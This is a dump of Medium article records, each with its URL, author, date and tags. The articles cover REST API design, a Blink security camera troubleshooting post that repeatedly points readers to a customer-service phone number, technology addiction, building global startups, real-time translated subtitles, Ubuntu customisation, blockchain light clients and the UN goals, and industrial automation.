The next step is to figure out if there is going to be a request body and if yes, then come up with a schema for what that should look like. According to the RFC, GET requests are not to contain request bodies so we are going to follow that and only create a request body for the post request. So a sample example loginHistory POST request body, in JSON could be:
{
“time”: “1605202745”,
“appVersion”: “5.2.0”
}
The userId has been left out of the request body because it should be fetched from the API route. Also other additional fields required to capture all loginHistory related information can be added to the body above.
Response Status
The response status of a response should convey two things:
Did the operation succeed?
Next steps (if any)?
There are many many status codes available (including RFCs for when and what to use). Because the first thing the response status conveys is whether the operation succeeded or failed I think it goes without saying that using a 2xx (the 200 series status code that indicates a success) when an error occurs is a big no NO.
When it comes to status codes it is important to pass the right sub-status code in the response. For example a 200 means OK meaning everything went well while a 201 is used to indicate that a resource was created successfully. So a 200 would be apt for a GET/PUT request while a 201 would be more appropriate for a POST request (assuming the POST request creates an object). Using a 200 for a POST request would not be a problem mainly because it would convey a success as well. But, a 201 will be better suited because in addition to indicating that the request was received and processed successfully it also indicates that a new resource was created. Along those lines for successful DELETEs it is good to use the 204 (no content) status code indicating to the calling client that while the request was successful, there is no response body that is to be expected (i.e. if there is not going to be a response body).
Success codes when used interchangebly have less far reaching consequences than when failure codes are used interchangeably. For example using a 401 (unauthorized) in place of a 403 (forbidden) would be bad because it gives the wrong indication to the user (or the calling client which could be a UI component). A 401 indicates that the authentication credentials presented do not match the records that the backend compares against. A 403 indicates that the user is trying to access a resource that they do not have access to. A solution to fix a 401 is to change the authentication credentials presented to the application while a solution to a 403 could be as simple as “sorry, nothing to fix here”. More often than not, the right error status code will dictate next steps. So it becomes all the more important to use the right status code especially when there is an error.
In general it is very important to follow the RFC closely while picking status codes because they mean something (and apps/services using your APIs will expect them to be consistent with the RFC because that is the common reference for everyone!) and sometimes it can be easy to get them confused.
Response Body
The next most important step in API design, is settling on a response body. It is very common practice to make sure the response body contains everything that the calling client needs (e.g.: If a web app is making a request to an API to fetch the login history of a user, from the backend we make sure to provide them with all the information the web will need for display purposes). On rare occasions, we might need to more than required information to the calling client, especially if the backend does not leverage any caching, the additional information does not originate from the backend and the backend will need this information to process an incoming request. An example will help right? Absolutely. Let us consider a scenario where a backend makes a call to service provider X to fetch some information and pass that back to the UI as a part of the response though (let us assume) the UI does not use that information at all BUT because the backend does not cache and service X takes a lot of time to response to requests (lets continue with the assumptions), then it will be helpful to have that information passed to the UI and passed back so that the backend can use that information to do whatever it needs to.
Another important consideration I like to make when finalizing APIs is to make sure responses are not bigger than they need to be. A good question to ask if you have very big response bodies is to ask if it might be possible to break up the single API into multiple APIs. For example if you have a messaging app, instead of having a single API that serves up all the information relating to say messages displayed on a page (say we have pagination implemented and we are displaying 20 messages per page). So one option would be to have 20 messages that contain all the message information or 20 messages containing only that information that will need to be displayed on the list of messages page and another API to get more information to be displayed on the page when a user clicks into a message. Deciding between the two may need to consider other factors like bandwidth considerations, processing time, response time etc. But if these considerations can be controlled, it might be a good idea to consider that latter: Making two APIs one for a list of messages with minimal information about the messages(/messages?page=2) and another more specific API to get additional information about a single message (/messages/{messageId}).
When it comes to error scenarios, response bodies must be constructed in such a way that information about what has happened and indications as to what to do to fix errors will be helpful.
Query Parameters vs Path Variables
API developers are free to decide if a certain field needs to be in the query parameter or path variable. Depending on the implementation we can get both of these variations to work just fine. Two rules of thumb that have helped me decide where a certain field goes is:
To think of if the request variable is used to uniquely identify a resource or if the request variable is more like a search criteria.
If the variable used is available to all resources (if we consider login history and say only certain login history resources have a certain field then using that field as a path variable is not advisable because a URI with that variable cannot uniquely identify a login history resource). For example we need a userId to uniquely identify a user but say search parameters like isAccountActive is a search criteria and there is not a way to get a particular user using just this field. But it is important to call out an additional rule I add on top of this. If there are multiple fields that can be used to identify a resource, I prefer to use the one that the end user of the system has no control over. For example if a user can be uniquely identified using the userId and the userName, I would pick the userId because the userName can be changed by the user but not the userId (and that is the way it would need to be the user should not have an option to change the userId).
Conclusion
API designing is a lot of fun because there are specifications and rules around what is universally understood and expected while also allowing some room for creativity. I think the line is thin but following the spec or at least giving it an honest attempt goes a long way in ensuring consistency not just for the application that contains the APIs but also for those that consume it. | https://medium.com/javarevisited/rest-api-design-things-to-consider-96ac8a549aff | ['Janani Subbiah'] | 2020-11-22 15:29:17.384000+00:00 | ['Api Design', 'Programming', 'Development', 'Rest Api', 'Technology'] |
2,234 | Blink Camera Red Light | Blink Camera Red Light signifies that your internet has stopped working. This is why your Blink Camera Blinking Red stopped working. Hence, you need to resolve the wifi issue as soon as possible.
Just not only this, there could be more other reasons that are responsible for the offline issue in a Blink security camera. We will discuss all of them in the guide.
We are going to arrange all the troubleshooting methods to resolve the red light issue on the Blink camera. If you need any more help then dial the Blink Camera Customer Service Phone Number now.
Possible Reasons Behind the Blink Camera Red Light
It can’t be said clearly why the blink camera flashing red. Sometimes, it’s the faulty internet connection while other times wrong security camera setup could be responsible.
A slow or faulty internet connection is one of the main reasons behind the Blink Camera Red Light issue. The red on the Blink camera represents the weak wifi connection. If you have just purchased the Blink security camera, the Blink camera flashing red light at the initial stage of its setup. So, you don’t need to be worried as this light will disappear after a few seconds.
How to Fix Blink Camera Red Light Issue?
If you have found that Blink Camera Not Detecting Motion then follow the steps that have been mentioned below.
Check Your Wifi Connection
As we have already mentioned, Blink Camera Red Light means that your camera has not been connected to the internet connection. So, try to resolve the issue by restarting the router. We are going to tell you how to restart the router in the next step.
2. Restart Your Wifi Device
In order to tackle the technical issues, restarting is one of the best ways. So, remove the power plug from the power outlet and then wait for 10–20 seconds. Now, reconnect the power cable again. Turn ON the router and check it has started working or still the Blink camera blinking red light.
3. Check the Batteries
The batteries that you have not inserted inside the camera are not properly inserted. Or else, the batteries get damaged, hence replace them with new and original ones.
4. Move The Camera Near The Router
If you have placed the base station too far from the router then minimize the distance. This could be one of the main reasons why Blink Camera Video Stopped Unexpectedly. For more help, dial the given Blink Camera Customer Service Phone Number.
5. Power Recycle The Blink Camera
After following all the steps if still, you are facing the Blink Camera Red Light issue then power recycles the Blink camera. To complete this process, turn off the camera by removing the power plug from the wall outlet and the batteries by removing the back cover.
After waiting for 10–30 seconds, reconnect all the cables again. Turn ON the Blink camera and check if it has started recording or not.
6. Reset the Blink Security Camera
To complete the reset process, you just have to press the reset button with the help of a thin pin-like object. Hold the reset button until the Blink camera will not start again. Once your Blink security camera will be reset successfully, turn it ON and check if it has started recording or not.
Let us tell you that, resetting the camera will delete all the save settings. Hence, you need to do the security camera setup again.
Conclusion
Blink Camera Red Light means that something is wrong with the internet connection. In this guide, we have arranged all the troubleshooting methods to make your security camera start recording again. If you need some more help then, dial the toll-free Blink Camera Customer Service Number now. | https://medium.com/@larissaanderson666/blink-camera-red-light-blink-camera-offline-blink-camera-flashing-red-92794824e862 | ['Larissa Anderson'] | 2021-07-06 05:10:15.571000+00:00 | ['Tech', 'Services', 'Security', 'Security Camera', 'Technology'] |
2,235 | Can We Please Stop Calling Everyone “Addicted”? | 1. Saying everyone is “addicted” spreads disinformation.
The overwhelming majority of social media users are NOT pathologically addicted.
Yes, it’s possible to get addicted to social media — just like it’s possible for some people to get addicted to gambling, sex, alcohol, and anything else that alleviates pain. But that doesn’t mean everyone is addicted. Far from it!
As several studies have demonstrated, addiction is much more than the thing people get addicted to. Studies have found that when lab rats are taught to self-administer alcohol, only 15 percent end up preferring booze to sugary water. Interestingly, that’s the same proportion of the human population that suffers from alcoholism.
The overwhelming majority of people can play blackjack without ever becoming gambling addicts, can have sex without ever becoming sex addicts, and can have a glass of wine with dinner without ever becoming alcoholics. The same is true of social media, video games, and other tech.
2. Describing people as “addicted” is disrespectful.
There’s clearly something unique about people who compulsively abuse a behavior or substance to the point where it causes them harm.
Addiction is a serious disease that can have horrible consequences on people’s lives. Yet, somehow many people feel they can call other people “addicted” without any sort of diagnosis or qualifications.
When we make these careless blanket statements, we’re trivializing an illness.
It would be insensitive to talk this way about epilepsy or Tourette’s syndrome, so why do we do it with the disease of addiction? Calling people “addicted” to one thing or another without qualification is inaccurate and ignorant. It clouds our understanding of the real problem of addiction and gets in the way of solving that problem for people who are truly suffering from it.
3. Accusing people of being “addicted” is degrading.
This is the most disturbing aspect of the “everyone’s addicted to technology” trend.
If you believe everyone is addicted to technology, then you have a convenient rationale for discounting their ideas and actions. After all, being “addicted” is an impairment in decision making and judgment.
Isn’t it remarkable that some people think a sizable portion of the American population voted against their preferred presidential candidate, not because they might have had good reasons to do so, but rather (it is claimed) because they were mindlessly manipulated by social media?
If we want to better understand people we may disagree with, that attitude will get us nowhere.
Rather, we can acknowledge that reasonable people can disagree and not wave away their views with a pathology they don’t have.
Saying “oh, they believe those things because they’re addicted to social media” is an easy way to avoid thinking about the real motivations for their actions. It’s an excuse for failing to empathize — for failing to even try to empathize.
4. Labeling is disempowering, for you and them.
When we mislabel other people as “addicted,” we remove their agency. We tend to think people are powerless to resist an addiction and therefore we place that (incorrect perception) on others.
For instance, calling your teenager “addicted” to video games removes their agency to do something about the problem. It also conveniently absolves you as a parent from doing the work of figuring out what your child is running away from in the offline world when they escape online.
This sort of thinking also is bad for people who see themselves as having a pathology they don’t suffer from.
When you tell yourself you’re “addicted,” even though you’re almost certainly not, you disempower yourself, and that likely causes more troubles than the technology itself.
How can this be?
A recent study found the perception of spending too much time using smartphones is correlated with poor mental health, while the actual amount of time spent on phone is not.
Just as it’s not okay to think of other people as addicted when they’re not, it’s unhelpful to see yourself as helpless. The reason is that the “I’m addicted” self-talk becomes a self-fulfilling cycle: by believing you’re helpless to resist tech, you do nothing about the problem.
We are more powerful than the tech companies.
Ironically, when we believe the narrative perpetuated by movies like The Social Dilemma, we do exactly what the tech companies want: nothing.
We complain, wring our hands, and take no steps to moderate our own behavior. This is a huge missed opportunity.
I’ve spent the bulk of the last 10 years researching and writing about the psychology of technology and distraction in two bestselling books. I’ve learned that the vast majority of us have the power to change if we do something about the problem of overuse rather than writing it off as an “addiction.”
By understanding most people are not “addicted,” but rather perhaps “distracted,” we can empower ourselves and others to take action right now to hack back and fight back. | https://nireyal.medium.com/can-we-please-stop-calling-everyone-addicted-fdbe960af59e | ['Nir Eyal'] | 2020-12-29 07:22:02.100000+00:00 | ['Life Lessons', 'Psychology', 'Technology', 'Relationships', 'Life'] |
2,236 | How to Build a Global Technology Company in Five Steps | I want to share with you some of my experience in building a global company. There’s nothing easy about the following five steps. They’re all really hard. And, unless you’re a Facebook or a Twitter the chances are that you’ll be building your company one country at a time until one day what you build will take on a life of its own.
Start thinking globally. Forget about the town, city, region and country you live in. Start thinking about how people in other countries use technology. What are people’s relationship to technology? What is the cost of their technology? How much do they have to pay for new technology? Do they have access to the internet? How often? How much? At what speeds? Forget about PC’s, laptops and tablets. Just think about mobile devices because you “Ain’t global if you’re not mobile”™. Mobile phones are the dominant devices around the world. So if you’re not from the US or Europe then you already have an advantage — you’re already thinking global and mobile because that’s all you’ve ever known. If you are from the US or Europe try and only use your cell phone to do everything. You probably already do most things on your phone but cut that last ten percent. You’ll be amazed on how little you actually ever need something larger than a phablet — and you only need a phablet to watch movies or play games; otherwise a regular sized smartphone is good enough. Move to an another country until you have that feeling that you’re “not in Kansas anymore” or that you’re not in a place that feels like home. The more removed you are from your comfort zone, the faster your global perspective will grow. If you’re based in the US you’ll soon discover a world where you can live for as little as $500 to $1,000 per month. With the money you save you can invest those savings in your company. But, it’s not the savings that are most important. Being out of your comfort zone makes you more creative in everything you do. I think it has to do with the fact that you revert to some primal hunt or be hunted mode and just find solutions to the problems you have with the resources you have. You have no choice, it’s about survival. Build a global team. There are great co-founders across the globe. You just have to look and you’ll find them. I found mine when I was part of Startup Chile and he’s from Kazakhstan. What do we have in common? Dedication, hard work, respect for each other and a common language — English. Here’s a quick aside on language: if your team doesn’t speak good English you can forget about being a global company. It’s a given that no matter where you go in the world that you will need to speak English if you want to communicate at higher levels with partners or investors. JFDI. But how do I do these things? JFDI (See my post on this). If you’re looking for a founder, search for “how to look for a founder”. If you need global talent search for “how to find talent? Talk to everyone and always be on the lookout for what you’re seeking. For the longest time I was looking for partners in Asia, so everywhere I went I looked for people who could fit that role or might know someone who did. Yes, it took a while but I found those partners. Once you set a goal, it’s remarkable how your actions will self-fulfill that goal. So, JFDI.
So, punk, are you feeling lucky? Go, ahead, make your day. Do it! | https://medium.com/the-entrepreneurship-lab/how-to-build-a-global-technology-company-in-five-steps-7f40df2c72c6 | ['Patrick Kedziora'] | 2018-01-11 16:17:25.023000+00:00 | ['Entrepreneurship', 'Startup', 'Technology', 'International'] |
2,237 | Realtime Translated Subtitles | Written by Saidusmon Oripov and Tarek Madany Mamlouk
This November, Axel Springer held its first fully virtual tech-conference. We are an English speaking company but with our headquarters in Germany most of the conference’s participants were Germans. The smaller sessions were organized in MS Teams, where you can enable real-time subtitles. This can be really helpful if you are struggling with the spoken language but it would even be better if the live generated subtitles were directly translated into your preferred language. We don’t have that? Let’s build it!
Choosing the right Technology
There are some critical requirements for this kind of application. We need small to no delay, delivery of intermediate results, and assembly of semantically sound sentences.
There are currently three popular types of machine translation systems in the market: neural, statistical, and rules-based. Over the past few years, big technology companies like Google, Amazon, Microsoft, Facebook, and IBM have been transitioning from old-fashioned phrase-based statistical machine translations to neural machine translations. The main reason is that the new technology started to show better translation accuracy performance. And according to a study done by Tilde, a neural machine translation system handles word ordering and morphology, syntax, and agreements up to five times better, respectively, than the statistical machine translation system.
Visualization of data from tilde.com
Hard-to-translate content like acronyms, jargon, slang, industry terminology, and cultural differences are critical for getting accurate translations, and it remains a big challenge for machine translation. However, rapid advances in machine intelligence have improved the recognition of speech and image capabilities, continuing to drive up quality. And they are increasingly getting employed in diverse business areas, introducing new applications and enhanced machine-learning models. Large organizations are moving to machine learning to augment their workloads to make their content more accessible faster than it would be possible without automation.
We decided for now to implement our solution on the basis of Google’s new Media Translation API. This service is currently in its beta-phase and offers therefore limited support. Since this is a prototype, working with the beta-release was totally fine.
Google’s approach for Media Translation uses bidirectional streaming RPCs for moving data between client and server and vice versa. Both streams act independently so that the server can decide to answer requests immediately or wait for enough information before sending a consolidated response.
In gRPC, the client can set a timeout for the completion of its calls. Defining timeouts is language-specific and might require setting a duration for the call or a fixed point in time as a deadline. Termination of calls can happen independently on each side without any necessary dependency on the outcome of the other stream.
In our case, we implemented a slim client in Node.js based on Google’s media translation SDK. The hardest part was actually getting access to the device’s microphone via Sox. While this worked on one device without any problems, other devices ran into problems.
Components of our real-time translation overlay
Building a Prototype for Production
We used this real-time translator on the Axel Springer TechCon 2020, an online conference with hundreds of participants sharing knowledge about tech-related topics. We introduced this tool as a surprise addition to our talks. Even though we are an English speaking company, the majority of the conference’s participants was german. Having German subtitles in real-time was a nice feature.
Display German subtitles in real-time while speaking English
Integration into our talks was easy because we managed our stream via OBS. For a clean overlay on OBS, which shows the subtitles’ always updated status while the speaker is speaking, we wrote a small application in React with Event Source. This way, our client subscribes to the updates on the Node.js server and refreshes the display momentarily. The chroma-key filter in OBS allows us to generate a transparent overlay on top of our video so that the viewer can see the subtitles simultaneously while the speaker is on the stage.
Do we need this?
Axel Springer is a globally connected publishing house, and to scale its business; it needs to attract a diverse audience. But getting ahead with the exchange of information in multiple languages at scale is a growing challenge. Especially so when more work is moving to virtual format.
As digitalization becomes more widespread in various industries, the demand for automated machine translation market will increase. Also, we can expect that the ongoing pandemic will have a positive impact on the market. In 2019 the machine translation market was valued at USD 550 million, and it’s expected to reach USD 1.5 billion by 2026 (see marketwatch.com and prnewswire.com, both agree on estimated market valuation).
Visualization of data from prnewswire.com
It’s easy to presume that the world is becoming more and more fragmented, e.g., trade wars, tariffs, populism. But in-spite-of the backlash, the corporate world has never been so connected. The largest organizations worldwide embracing a more significant push for globalization and expanding their services internationally because they see an increasing value in delivering their products and content globally. That being said, becoming a genuinely global business brings its own challenges. Companies that fail the digital transformation can’t keep pace with globalization, and they are losing competitiveness.
So the question is not if we need this but rather if we can afford NOT to use this.
Where do we go from here?
Reactions to this experiment were mixed. First, everyone was flashed and impressed that a talk can be translated in real-time. Even though real-time subtitling was already around for a while, and everyone knows translators, seeing these subtitles on the fly was impressive. Then came amusement because some of the subtitles made no sense at all. If the speaker speaks slowly and clearly, the translations were perfect. But sometimes, the speaker stutters, mumbles, or speaks very fast. Then the translator started guessing, and it was hilarious. Unfortunately, this made the audience question the value of this tool because information got lost or was misrepresented. It’s not easy to decide if this particular prototype was a success or a failure. Yes, the translations were no perfect translation of the spoken content, but what exactly is our expectation?
I personally see this implementation as successful because it proves that software can provide some kind of real-time translation for helping people understand the spoken word. What I question is the way the subtitles are displayed. There was too much text pouring through the screen for people to follow structurally. A next iteration could be condensing the real-time translations into keywords or abbreviated sentences to give the viewer context and partial translations, assuming that he has a basic understanding of the given talk. This experiment includes a design element (displaying the text in chunks that are easy to read) and a language processing element (extract a semantic excerpt from a sentence). If we can manage that in real-time, then we have a unique and stylish solution for a very old problem. | https://medium.com/axel-springer-tech/realtime-translated-subtitles-4b2a91a35a85 | ['Tarek Madany Mamlouk'] | 2020-12-14 08:54:19.547000+00:00 | ['Technology', 'Subtitling', 'Translation', 'Realtime', 'Conference'] |
2,238 | How to Customize Ubuntu for Distraction-Free Programming | How to Customize Ubuntu for Distraction-Free Programming
Don’t adapt to what you got with the installation, simply customize targeting your productivity instead.
The workspace, screenshot by the author
People use different types of operating systems based on what they do and their preferences. The majority of die-hard fans use their first operating system forever even though it has some drawbacks. Meanwhile, some people switch operating systems so often until they find the best one for them. Also, a few persons do a quick research about the history of operating systems and the modern state of those to find the best matching operating system for them. I used many versions of Windows for 10 years and switched completely to Ubuntu around 2 years ago.
Before switching to Ubuntu, I did a small research about the Linux kernel and eventually became a fan of Linus Torvalds, the creator of the Linux kernel. The GUI of an operating system initially shows us the default configuration that was made for a general-user by its developers. For example, Ubuntu has its navigation icons set (also knows as the dock) on the left of the screen, and also the top bar is visible all the time. I also didn’t like the default UI configuration of Ubuntu because it didn’t give the productive workspace I expected. I think for most users who have a Windows background, it’s a bit unfamiliar. I did the following customization in the GUI using the GNOME Tweaks application and some extensions to boost productivity for programming on Ubuntu. | https://medium.com/codezri/how-to-customize-ubuntu-for-distraction-free-programming-883c56a47bf3 | ['Shalitha Suranga'] | 2020-11-26 08:14:57.719000+00:00 | ['Technology', 'Software Development', 'Productivity', 'Programming', 'Ubuntu'] |
2,239 | TechTalk 2 — FlyClient. FlyClient is set to improve from… | In Tech Talk 1, we discussed NIPoPoWs, it’s a more efficient way to prove some transactions happened at a certain time. NIPoPoWs are succinct proofs that require only a single message between the prover and the verifier of the transaction. It’s a compressed algorithm to make transaction validation possible in a multi-chain interoperable setup.
NIPoPoWs Summary and Drawbacks
NIPoPoW implementation relied on finding and verifying “superblocks.” In PoW blockchains, some blocks are much more difficult than others to solve; these are called superblocks. While superblock NIPoPoWs were an improvement on SPV, they work under a very specific set of constraints, such as constant difficulty and no adversaries or dishonest attackers.
NIPoPoWs Bribery Attack
Superblocks found by miners won’t generate extra rewards, hence adversaries potentially could bribe rational miners to discard those superblocks. This will cause the less secure Proof of Work to happen.
What is FlyClient?
FlyClient is set to improve from NIPoPoWs, while also providing succinct proofs for POW networks, but with a new approach and more secured way. FlyClient using MMR, a technical term, stands for Merkle Mountain Range.
MMR is similar to Merkle Tree but it’s easier to append blocks. In the FlyClient setup, instead of using the previous hash to connect to each block, it’s using Merkle Root to connect to the previous block. As the above diagram illustrates, Block1 using Root 1 connects to Block 0, and similarly, Block 2 contains Root1 information using Root 2 to connect to Block 1. So this setup block connects to each other in a Tree structure, however using Merkle Proof can quickly prove the validity of the previous block.
How FlyClient Fits into MarcoPolo Protocol
FlyClient is one technology among other possibilities that can improve network capacity, light-client support, and scalability. MarcoPolo Protocol will enable better cross-chain interoperability and better mobile wallet functionality, thanks in large part to FlyClient. One of the biggest benefits of the FlyClient protocol is that it is super simple, in terms of what it takes to implement it. This is important for open-source blockchain systems that need to be audited. | https://medium.com/marcopolo-protocol/techtalk-2-flyclient-7aa17504166b | ['Map Protocol'] | 2020-05-16 12:56:44.591000+00:00 | ['Marcopay', 'Marcopolo Protocol', 'Blockchain', 'Technology', 'Map'] |
2,240 | Blockchain Technology And The Global UN SDGs | Blockchain Technology And The Changing World
Today, when we hear of blockchain, we think of cryptocurrency and how it is disrupting the way we deal with cash all around the world. However, the technology itself has so much potential that restricting it to just cryptocurrencies is a disgrace. Blockchain has the potential to transform industries around the world and make them impenetrable, safe and secure from all external malicious factors. Not only that, it provides the stakeholders with the right direction to lead their operations with more certainty and faith in the system.
According to the stats, it is expected that the global blockchain technology market is estimated to accumulate $20 billion in revenue by 2024, therefore, now more than ever, it is being adopted by various industry giants. It is safe to say that blockchain is reaching its potential throughout the economic sphere. As much as the technology is decentralized, all the stakeholders involved in a business become capable of controlling their operations rather than relying on a central authority to perform core activities. When every individual is held accountable in a peer-to-peer network, the productivity levels tend to go higher as the responsibility increases. It leaves no room for slacking on any stakeholder’s part and therefore, the business is destined to succeed.
Read more about blockchain here, and to understand the basics click here.
Problems that we face today
To understand how blockchain is changing the world and how it can help us achieve the UN SDGs agenda, we must look into the problems we face on a global scale. These problems can be jotted down in collective terms such as, climate crisis, gender inequality, public health, wildlife and marine conservation, socio-economic development, quality education etc. The impact of these problems is faced on a global level which is why dealing with them in time is highly crucial to sustain the life on Earth.
Now, we have technology aiding us in all the different industries by enabling basic to high-level functioning. Therefore, it is technology that is going to come for rescue as we try to deal with these problems. Today’s systems, as secure as they claim to be, are now more susceptible to cyberattacks and illegitimate practices. Now, businesses have to deal with these threats and to curb that, they look into impenetrable systems with a highly sophisticated technology. Such a technology has been introduced in the world and it is now more than a decade old. It’s called blockchain! Blockchain is the solution to these problems and in this blog, we will discuss how blockchain can help us achieve most of the UN SDGs and accelerate their impact by 2030.
As the United Nations successfully concluded its Millennial Development Goals in 2015, the committee decided upon a 17-point agenda known as Sustainable Development Goals, to be achieved by 2030. These goals are a result of a three-year process involving 83 national surveys engaging over 7 million people, making it the biggest consultation in UN history. All the problems that we face at a global level, have been taken under consideration while forming these goals and it is with confidence that these goals can create a considerable impact on protecting this planet.
Blockchain: One For-All Solution For Global SDGs
Blockchain technology has been known for its ability to provide a sophisticated platform to ensure transparency, accountability, traceability, and impenetrable security, all on a decentralized, peer-to-peer network. The core technology can be incorporated into all the existing systems to improve their capacity and develop new ones with a better output and functionality.
Blockchain technology holds to key to solving much of the SDGs by 2030, only if there are enough investments to make it work. It can be said with confidence that Blockchain is the solution for achieving these SDGs. UN has rolled out many tenders out for public procurement of blockchain systems in each of the sectors and it is safe to say the competition is high. Immerging investors are realizing the potential of blockchain as an integral part of disrupting the industries around the world and they are not holding back their money. Today, is the right time to invest. Want to know about this in more detail? Click here to get in touch. | https://medium.com/@reactivespace/blockchain-technology-and-the-global-un-sdgs-d549f7aebee1 | ['Reactive Space'] | 2020-12-03 10:32:30.785000+00:00 | ['Un Global Compact', 'Blockchain Technology', 'Global Goals', 'United Nations', 'Un Global Goals'] |
2,241 | Freedom in the Fourth Industrial Revolution | Designing new technologies that aim at liberating human beings is first and foremost a matter of how to define and re-define human work and freedom in the age of automation.
Automation is arguably one of the most discussed and controversial topics of our times, and hardly a week passes by without new and surprising applications for collaborative robots (cobots) and AI being covered by the media. One sure thing about this new industrial revolution (the fourth one, also called Industry 4.0) is that it is a growing, global phenomenon and that it is not going to stop anytime soon. At the same time though, the impact it will have on the job market and society at large is still unclear.
Among institutional actors and tech companies alike, there is a widespread expectation that if the transition to Industry 4.0 will be handled correctly, automation will create more jobs than those it will render obsolete, and humans and machines will peacefully complement each other, just like the narrative about the previous industrial revolutions goes.
Both the marketing material of many cobots producers and the reports from actors such as Manpower and the World Economic Forum (WEF) present scenarios in which machines will increasingly take over repetitive, wearing, and dangerous tasks, and humans will be free to pursue more skilled and fulfilling jobs, all while increasing productivity and efficiency.
Clear win-win.
Or not? Because not everyone shares this optimistic view. For instance, in his bestseller The Rise of the Robots, technology expert Martin Ford argues that, unless significant structural changes are made to our societies, the impact of this new wave of automation on capitalism as we know it will inevitably turn it into a dystopian techno-feudal system in which the rich control both capital and labour (collapsed together into the machines) and most people simply will be left with no bargaining power in economic relations.
These two narratives, the optimistic and the dystopian seem to be the opposite of one another, but they actually share a common starting point: namely that the success or failure of the transition towards Industry 4.0 will depend on how society adapts to automation, rather than the other way around. Indeed, the WEF report referenced above includes recommendations for governments, for industries that will deploy robots, and even for workers on how to handle the transition to this new wave of automation. But what about the companies that develop these technologies to begin with? Do they not bear any responsibility?
It was with this question in mind that I recently conducted anthropological fieldwork in one of the most successful firms of the blossoming Odense Robotics cluster, located in Denmark.
During my research, I learned that, whereas the form of robots’ liberating potential appears to be clear in the minds of roboticists (i.e. taking care of undesirable tasks), the engineers’ vision of what this new freedom looks like (from the point of view of a worker whose job is automated) is more blurred and mostly limited to mentions of the possibility for re-skilling or up-skilling the work force. This is not only because robots can be deployed in many different contexts which makes it difficult to imagine a single way for such freedom to actually be practiced, to borrow philosopher’s Michel Foucault’s term. It is also because the responsibility of envisioning and realising such practices of freedom (basically how to do freedom) is seen by engineers as external to them. Hence, the roboticists themselves share the idea that others, typically decision-makers and industrialists, will not only have to prevent the robots from causing unemployment but that they will also have to define the practices of freedom through which unemployment can be avoided to begin with.
The problem with this view (and with the popular narrative about previous industrial revolutions) is that historical analyses of the implementation of industrial machines show that down-skilling has often been an effect of the implementation of automation, sometimes even an intentional one from the part of the industrialists. Likewise, contemporary anthropological research shows how the introduction of new technologies, in both the private and public sectors, is often an imposed, top-down process that can be a threat not only to employment but also to employees’ professional identities and job satisfaction.
Embedded in this widespread omission of the responsibility of tech companies lies the core assumption that technologies in themselves are neutral tools with no built-in politics or ethics, which is why the focus is often only on how they are used, rather than on how they are designed.
But this assumption is simply not true.
Since the early 1980s, scholars within Science and Technology Studies (STS) and Philosophy of Technology have shown compelling evidence that technologies themselves are always political and, as such, always bear ethical implications. This is because designing any artefact is not just a matter of problem-solving; of pragmatic “how do I get X to do Y” type of questions in which engineers usually frame their work since doing so also includes establishing what X and Y are to begin with, and what they ought to become.
In the case of automation then, designing new technologies that aim at liberating human beings is first and foremost a matter of how to define and re-define human work and freedom and how to inscribe these views and values in the different technical features of the robots.
However, if in the field of AI at least some conversations about ethics and politics are happening, during my fieldwork I have learned that it seems like the same cannot be said for robotics. Indeed, concerns about the ethical and political implications of robots were often met with scepticism and perplexity by my informants because they usually could not see the need nor imagine a place for such concerns in the way technological development at large is currently structured, conceived, and incentivised. Therefore, in their eyes, the non-conformity of such considerations with the current system makes them unworthy of even being discussed.
If we have learned anything from the development of social media platforms though, the public perception of which largely shifted from democracy-enhancers to democracy-underminers in less than a decade, it is that the ethical and political implications of technologies must be addressed, no matter how difficult that might seem, and the sooner the better.
This is not to say that the task is easy – very much the opposite. That is why this responsibility cannot be placed solely on the shoulders of corporations or public institutions, nor on the engineers alone.
Rather, a truly successful and liberating version of Industry 4.0 requires a multidisciplinary effort that includes all of these actors plus, I believe, a particular contribution from the side of the Social Sciences, particularly Techno-Anthropology, tasked not only with observing and reflecting on the different forms in which questions about the future of work and the role of technologies in society will present themselves in various contexts, but also with bringing attention to such questions and providing engineers and their companies with some of the tools to address them. | https://medium.com/copenhagen-institute-for-futures-studies/ciao-casper-a6f570093368 | ['Luca Collalti'] | 2020-11-18 10:00:18.387000+00:00 | ['Freedom', 'Robots', 'Automation', 'Work', 'Technology'] |
2,242 | Automation & Efficiency | Most of the time when the term “Automation” comes to mind you think of a bunch of robot arms operating on an industrial line in some factory. The reality is automation is everywhere and it is silently invading our lives in a way that made us adapt to it without even knowing.
Automation played a great role in boosting efficiency which in return allowed the internal processes of any growing organization to become fast and accurate since a computer is running every single that takes so much time from an employee.
With the rise of automation technologies, the dependency grew and allowed people to think of ways to make it dominate or almost 100% cover the work process.
In the past 8 years, my single distinguished skill was to advise and convert a whole work-flow from a traditional way to an automated way. The process that I followed was to understand the result of each given task for an employee, break it down into smaller parts and understand where the computer fits in to automate some of the processes like automatically adjusting the solar panel toward the sun or regulate a specific valve based on an input.
The whole automation science came from understanding the engineering behind everything. In engineering, you will study that there are two types of control systems an open-loop system or a closed-loop. The open-loop system is where there is an input and an output and you as a person plays the rule of a controller and the actuator, a real-life example would be that if you adjust the air conditioning system based on the sensed temperature in the room.
Closed-loop systems on the other hand helped to minimize the process and bring you ease of life, simply by replacing you with a small microprocessor that receives every second sensing of the temperature of the room where later it actuates the compressor to provide the desired temperature automatically without you even worrying about any process in between.
The future of automation is very bright and the ability to integrate within any process in life became crucial to cut cost and ensure effectiveness, whether it was a piece of software like an ERP (Enterprise Resouce Planning) that manages every single resource within your organization or a complete building.
It will indeed affect jobs, if the technology becomes perfect this would lead to complete control, imagine a complete factory that is completely automated without the need of any technician or an engineer to help manage the process all controlled via a well-constructed AI-Based SCADA (Supervisory Control & Data Acquisition System). Imagine the cost that is saved due to converting to AI-based Automation, but this is considered a threat.
This threat can be overcome by simply developing our education system to coup up with the ways that we can work hand in hand with automation doing all of the time-wasting time processes.
Automation became a crucial part of any organization that wishes to grow and ensure economical stability in this era. In the past few years, automation took over simple tasks without us even knowing that ensures performance and cost-efficiency.
By,
Laith Hussein Alzahrani
Mechatronics, Robotics & Automation Engineer
[email protected] | https://medium.com/@alzahranilaith/automation-efficiency-eb0ea3a8aa3f | ['Laith H. Alzahrani'] | 2020-12-04 16:06:57.695000+00:00 | ['Robots', 'Automation', 'Artificial Intelligence', 'Management', 'Technology'] |
2,243 | Substack Writing Tips | 4. V A L U E
When you sign up for Blogging Guide as a paying subscriber, you gain access to my back catalogue of premium posts and to any future subscriber only posts I write. However, this is true for any Substack publication and is frankly a dubious value proposition for readers ( i.e.Sure, I’ve read Casey’s free posts but will I actually get enough value from a relatively new newsletter, to justify the purchase?).
